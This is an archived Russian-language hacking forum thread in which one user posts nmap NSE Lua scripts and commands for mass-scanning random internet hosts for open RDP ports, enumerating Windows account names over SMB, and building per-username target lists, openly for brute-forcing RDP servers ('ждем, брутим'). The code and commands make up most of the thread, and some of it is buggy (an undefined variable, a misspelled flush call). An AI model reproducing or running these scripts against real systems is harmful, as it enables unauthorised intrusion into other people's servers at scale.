Просмотр полной версии : Скрипты nmap
PabloPicasso
02.02.2010, 11:40
Вот почему большинство обитателей форумов по сет. безопасности не используют функционал nmap скриптов?
а вы их используете? если да, то интересно послушать какие...
PabloPicasso
02.02.2010, 11:44
а вы их используете? если да, то интересно послушать какие...
в данный момент smb-enum-users.nse, дописав пару строчек кода он создает файлы вида [user].txt и складывает в них хосты с обнаруженным T:3389 предварительно определив имена пользователей 2-мя способами.
для брута дедиков просто сказка )
PabloPicasso
02.02.2010, 20:54
например задались вопросом отпарсить IP-шки с вывода сканирования 3389 порта RDP в 1 файл...
легко, пишем:
ips.nse
-- напишем описание
description = [[
Создает список IP в файл исходя из параметров порта 3389.
]]
-- укажем автора
author = "ROleg aka PabloPicasso"
-- укажем условия использования =)
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
-- категории к которым относится скрипт
categories = {"discovery"}
-- укажем необходимые либы для роботы с портами
require "shortport"
-- оброботка action начнется если portrule будет правдой
-- т.е. если порт_или_сервис будут 3389, ms-term-serv
portrule = shortport.port_or_service(3389, "ms-term-serv")
-- выполняем основные действия
-- примем на входе хост и порт
action = function(host, port)
-- откроем файл ip.txt для записи с добавлением (а+)
file = io.open ("ip.txt","a+")
-- добавим в очередь записи айпишку
file:write (host.ip.."\n")
-- запишем в файл
file:flash()
-- закроем файл
file:close()
end
нечего сложного, единственная проблема что для сканера есть рус. документация http://nmap.org/man/ru/ а для скриптового движка только на англ. http://nmap.org/book/nse.html
запускаем: nmap -iR 0 -n -PS 3389 -p T:3389 --script=ips.nse
и получили шустрый многопоточный сканер RDP по всему инету с кучей опций сканирования.
PabloPicasso
03.02.2010, 15:10
продолжим дальше, хотим создать списки для брута RDP используя реальные имена пользователей на атакуемой системе, в этом нам помогут SMB и RPC библиотеки NMAP:
rdp-to-users.nse
description = [[
1. Резолвим пользователей 2-мя способами через lsa и samr
средствами SMB сервиса проверяемой системы.
2. При доступности открытого 3389 порта создаем файлы вида
[username].txt и записываем туда айпишки серверов имеющих такой аккаунт.
]]
author = "ROleg aka PabloPicasso"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery"}
require 'msrpc'
require 'smb'
require 'stdnse'
require 'comm'
require 'shortport'
-- укажем условие хоста, функция smb.get_port()
-- ищет комбинацию открытых портов
-- для доступа к SMB сервису обычно 139 либо поверх 445 порта
-- если найдены порты, открыты, делаем action
hostrule = function(host)
return smb.get_port(host) ~= nil
end
-- примем на входе хост
action = function(host)
-- об'явим необходимые переменные
-- i и j пригодятся для циклов for
local i, j
-- определим статусные переменные
local samr_status = false
local lsa_status = false
-- и для результата
local samr_result = ""
local lsa_result = ""
-- массивы имен пользователей
local names = {}
local names_lookup = {}
-- массив для сообщений на экран
local response = {}
-- т.к. нам важно чтобы был открыт 3389 порт,
-- будем проверять чтобы лишний раз не выполнять основное тело скрипта
if (shortport.port_or_service(3389, "ms-term-serv")) then
-- Пробуем получить информацию при помощи SAMR.
samr_status, samr_result = msrpc.samr_enum_users(host)
-- если получилось
if(samr_status) then
-- от 1 до #samr_result по одному =)
for i = 1, #samr_result, 1 do
-- заносим в массив names[] полученные результаты
table.insert(names, samr_result[i])
-- будем избавляется от дубликатов
names_lookup[samr_result[i]['name']] = true
end
end
-- Пробуем получить информацию через LSA.
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status) then
for i = 1, #lsa_result, 1 do
if(lsa_result[i]['name'] ~= nil) then
-- проверим нет ли уже у нас такого имени
if(not(names_lookup[lsa_result[i]['name']])) then
-- заносим в массив names[] полученные результаты
table.insert(names, lsa_result[i])
end
end
end
end
-- Если все способы не сработали
if(samr_status == false and lsa_status == false) then
-- и если ответом было ACCESS_DENIED
if(string.find(lsa_result, 'ACCESS_DENIED')) then
return stdnse.format_output(false, "Доступ ограничен настройками политик")
end
return stdnse.format_output(false, {"Невозможно определить имена пользователей", "SAMR вернул " .. samr_result, "LSA вернул " .. lsa_result})
end
-- Делаем сортировку
table.sort(names, function (a, b) return string.lower(a.name) < string.lower(b.name) end)
-- Проверим есть ли имена в массиве
if(#names == 0) then
table.insert(response, "Скрипт не получил имен, извините!")
else
-- Запишем айпишки серверов в файлы, для каждого пользователя в свой
local names = {}
for _, info in ipairs(domain_users) do
file = io.open (info['name']..".txt","a+")
file:write (host.ip.."\n")
file:flush()
file:close()
table.insert(names, info['name'])
end
-- Выводим на стандартный выход результаты работы
table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
end
end
return stdnse.format_output(true, response)
end
брутить по спискам Administrator.txt, Admin.txt, root.txt или Вася.txt намного проще чем перебирать все возможные логины брутом =)
но есть свои минусы, не везде включены SMB службы (
заходим например в диррикторию users_ip_to_brute: cd users_ip_to_brute
выполняем: nmap -iR 0 -n -sU -sS -PS137,139,445,3389 -p U:137,T:139,445,3389 --script=rdp-to-users.nse
ждем, брутим...
Немного не по теме, но хотелось бы узнать, в nmap есть возможность массового сканирования хостов? То бишь конкретнее у меня есть список хостов, к примеру и мне нужно просканировать сервисы, которые там установлены. Так-то юзаю XSpider, но nmap серьезнее все таки.
Щас всё и вся с Питоном скрещивают. Было б неплохо, если nmap поддерживал скрипты на Python. =)
PabloPicasso
10.02.2010, 15:12
to k0xy, конечно nmap -iL <имя_входного_файла> -sV
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot